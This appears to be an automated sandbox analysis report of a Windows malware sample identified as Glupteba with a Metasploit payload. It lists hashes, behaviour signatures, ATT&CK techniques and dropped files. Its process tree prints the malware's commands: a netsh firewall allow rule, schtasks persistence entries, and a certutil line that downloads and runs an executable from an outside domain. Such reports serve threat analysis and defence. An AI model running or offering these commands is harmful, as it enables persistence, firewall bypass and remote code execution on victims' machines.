Overview

overview

10

Static

static

1

JaffaCakes...0a.exe

windows7-x64

10

JaffaCakes...0a.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    142s
  • max time network
    155s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    29-12-2024 12:09

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General

  • Target

    JaffaCakes118_8e77e7c2feda9c83319109a4e485e9d974e344fb105b2329aae21c3bbe394d0a.exe

  • Size

    4.4MB

  • MD5

    30388f1fad131dd6a0fd85a549aff7b0

  • SHA1

    d990197def7b006e8f3c096540b60276215e86b1

  • SHA256

    8e77e7c2feda9c83319109a4e485e9d974e344fb105b2329aae21c3bbe394d0a

  • SHA512

    3f5f0f8c0f6307f650b59b4be7e5ee97e1144760d40363f2715efb5a3ef4eb600b5148820e9d96a602548a13b4d84e0625f6d9e94f838bf792022d1d85cb9fc4

  • SSDEEP

    98304:55IR4k5sITlHARZVDufSU7Gyl3OaoG7zqjRuZCb7lnw:55q4kSI1e7k7Gyl3CYo3XK

Score
10/10
gluptebametasploitbackdoordiscoverydropperevasionloaderpersistenceprivilege_escalationtrojan

Malware Config

Extracted

Family

metasploit

Version

windows/single_exec

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

    loaderdropperglupteba
  • Glupteba family
    glupteba
  • Glupteba payload 20 IoCs
  • MetaSploit

    Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.

    trojanbackdoormetasploit
  • Metasploit family
    metasploit
  • Windows security bypass 2 TTPs 10 IoCs
    evasiontrojan
  • Modifies Windows Firewall 2 TTPs 1 IoCs
    evasion
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 8 IoCs
  • Windows security modification 2 TTPs 10 IoCs
    evasiontrojan
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Windows directory 3 IoCs
  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • GoLang User-Agent 4 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies system certificate store 2 TTPs 9 IoCs
    evasionspywaretrojan
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_8e77e7c2feda9c83319109a4e485e9d974e344fb105b2329aae21c3bbe394d0a.exe
    "C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_8e77e7c2feda9c83319109a4e485e9d974e344fb105b2329aae21c3bbe394d0a.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:2524
    • C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_8e77e7c2feda9c83319109a4e485e9d974e344fb105b2329aae21c3bbe394d0a.exe
      "C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_8e77e7c2feda9c83319109a4e485e9d974e344fb105b2329aae21c3bbe394d0a.exe"
      2⤵
      • Windows security bypass
      • Loads dropped DLL
      • Windows security modification
      • Adds Run key to start application
      • Checks for VirtualBox DLLs, possible anti-VM trick
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:3060
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2848
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          • Event Triggered Execution: Netsh Helper DLL
          • Modifies data under HKEY_USERS
          PID:2500
      • C:\Windows\rss\csrss.exe
        C:\Windows\rss\csrss.exe /188-188
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Modifies data under HKEY_USERS
        • Modifies system certificate store
        • Suspicious use of AdjustPrivilegeToken
        PID:644
        • C:\Windows\system32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:1948
        • C:\Windows\system32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://spolaect.info/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:320
        • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
          "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Modifies system certificate store
          PID:1956
  • C:\Windows\system32\makecab.exe
    "C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20241229120920.log C:\Windows\Logs\CBS\CbsPersist_20241229120920.cab
    1⤵
    • Drops file in Windows directory
    PID:2208

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

1
T1053

Scheduled Task

1
T1053.005

Persistence

Boot or Logon Autostart Execution

1
T1547

Registry Run Keys / Startup Folder

1
T1547.001

Create or Modify System Process

1
T1543

Windows Service

1
T1543.003

Event Triggered Execution

1
T1546

Netsh Helper DLL

1
T1546.007

Scheduled Task/Job

1
T1053

Scheduled Task

1
T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

1
T1547

Registry Run Keys / Startup Folder

1
T1547.001

Create or Modify System Process

1
T1543

Windows Service

1
T1543.003

Event Triggered Execution

1
T1546

Netsh Helper DLL

1
T1546.007

Scheduled Task/Job

1
T1053

Scheduled Task

1
T1053.005

Defense Evasion

Impair Defenses

3
T1562

Disable or Modify System Firewall

1
T1562.004

Disable or Modify Tools

2
T1562.001

Modify Registry

4
T1112

Subvert Trust Controls

1
T1553

Install Root Certificate

1
T1553.004

Credential Access

Discovery

Query Registry

2
T1012

System Information Discovery

1
T1082

System Location Discovery

1
T1614

System Language Discovery

1
T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe
    Filesize

    5.3MB

    MD5

    1afff8d5352aecef2ecd47ffa02d7f7d

    SHA1

    8b115b84efdb3a1b87f750d35822b2609e665bef

    SHA256

    c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1

    SHA512

    e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb

    Download Submit

  • \Users\Admin\AppData\Local\Temp\csrss\patch.exe
    Filesize

    1.7MB

    MD5

    13aaafe14eb60d6a718230e82c671d57

    SHA1

    e039dd924d12f264521b8e689426fb7ca95a0a7b

    SHA256

    f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

    SHA512

    ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

    Download Submit

  • \Users\Admin\AppData\Local\Temp\dbghelp.dll
    Filesize

    1.5MB

    MD5

    f0616fa8bc54ece07e3107057f74e4db

    SHA1

    b33995c4f9a004b7d806c4bb36040ee844781fca

    SHA256

    6e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026

    SHA512

    15242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c

    Download Submit

  • \Users\Admin\AppData\Local\Temp\symsrv.dll
    Filesize

    163KB

    MD5

    5c399d34d8dc01741269ff1f1aca7554

    SHA1

    e0ceed500d3cef5558f3f55d33ba9c3a709e8f55

    SHA256

    e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f

    SHA512

    8ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d

    Download Submit

  • \Windows\rss\csrss.exe
    Filesize

    4.4MB

    MD5

    30388f1fad131dd6a0fd85a549aff7b0

    SHA1

    d990197def7b006e8f3c096540b60276215e86b1

    SHA256

    8e77e7c2feda9c83319109a4e485e9d974e344fb105b2329aae21c3bbe394d0a

    SHA512

    3f5f0f8c0f6307f650b59b4be7e5ee97e1144760d40363f2715efb5a3ef4eb600b5148820e9d96a602548a13b4d84e0625f6d9e94f838bf792022d1d85cb9fc4

    Download Submit

  • memory/644-69-0x0000000000400000-0x000000000257E000-memory.dmp

    Filesize

    33.5MB

    Download

  • memory/644-72-0x0000000000400000-0x000000000257E000-memory.dmp

    Filesize

    33.5MB

    Download

  • memory/644-79-0x0000000000400000-0x000000000257E000-memory.dmp

    Filesize

    33.5MB

    Download

  • memory/644-78-0x0000000000400000-0x000000000257E000-memory.dmp

    Filesize

    33.5MB

    Download

  • memory/644-77-0x0000000000400000-0x000000000257E000-memory.dmp

    Filesize

    33.5MB

    Download

  • memory/644-76-0x0000000000400000-0x000000000257E000-memory.dmp

    Filesize

    33.5MB

    Download

  • memory/644-18-0x0000000003DB0000-0x00000000041EB000-memory.dmp

    Filesize

    4.2MB

    Download

  • memory/644-55-0x0000000000400000-0x000000000257E000-memory.dmp

    Filesize

    33.5MB

    Download

  • memory/644-71-0x0000000000400000-0x000000000257E000-memory.dmp

    Filesize

    33.5MB

    Download

  • memory/644-54-0x0000000000400000-0x000000000257E000-memory.dmp

    Filesize

    33.5MB

    Download

  • memory/644-70-0x0000000000400000-0x000000000257E000-memory.dmp

    Filesize

    33.5MB

    Download

  • memory/644-57-0x0000000000400000-0x000000000257E000-memory.dmp

    Filesize

    33.5MB

    Download

  • memory/644-56-0x0000000000400000-0x000000000257E000-memory.dmp

    Filesize

    33.5MB

    Download

  • memory/644-53-0x0000000000400000-0x000000000257E000-memory.dmp

    Filesize

    33.5MB

    Download

  • memory/1956-40-0x0000000140000000-0x00000001405E8000-memory.dmp

    Filesize

    5.9MB

    Download

  • memory/1956-26-0x0000000140000000-0x00000001405E8000-memory.dmp

    Filesize

    5.9MB

    Download

  • memory/2524-0-0x0000000003F20000-0x000000000435B000-memory.dmp

    Filesize

    4.2MB

    Download

  • memory/2524-1-0x0000000003F20000-0x000000000435B000-memory.dmp

    Filesize

    4.2MB

    Download

  • memory/2524-2-0x0000000004360000-0x0000000004C7E000-memory.dmp

    Filesize

    9.1MB

    Download

  • memory/2524-8-0x0000000000400000-0x0000000000D39000-memory.dmp

    Filesize

    9.2MB

    Download

  • memory/2524-3-0x0000000000400000-0x0000000000D39000-memory.dmp

    Filesize

    9.2MB

    Download

  • memory/2524-6-0x0000000003F20000-0x000000000435B000-memory.dmp

    Filesize

    4.2MB

    Download

  • memory/2524-4-0x0000000000400000-0x000000000257E000-memory.dmp

    Filesize

    33.5MB

    Download

  • memory/2524-7-0x0000000004360000-0x0000000004C7E000-memory.dmp

    Filesize

    9.1MB

    Download

  • memory/3060-5-0x0000000003E80000-0x00000000042BB000-memory.dmp

    Filesize

    4.2MB

    Download

  • memory/3060-19-0x0000000000400000-0x000000000257E000-memory.dmp

    Filesize

    33.5MB

    Download

  • memory/3060-9-0x0000000000400000-0x000000000257E000-memory.dmp

    Filesize

    33.5MB

    Download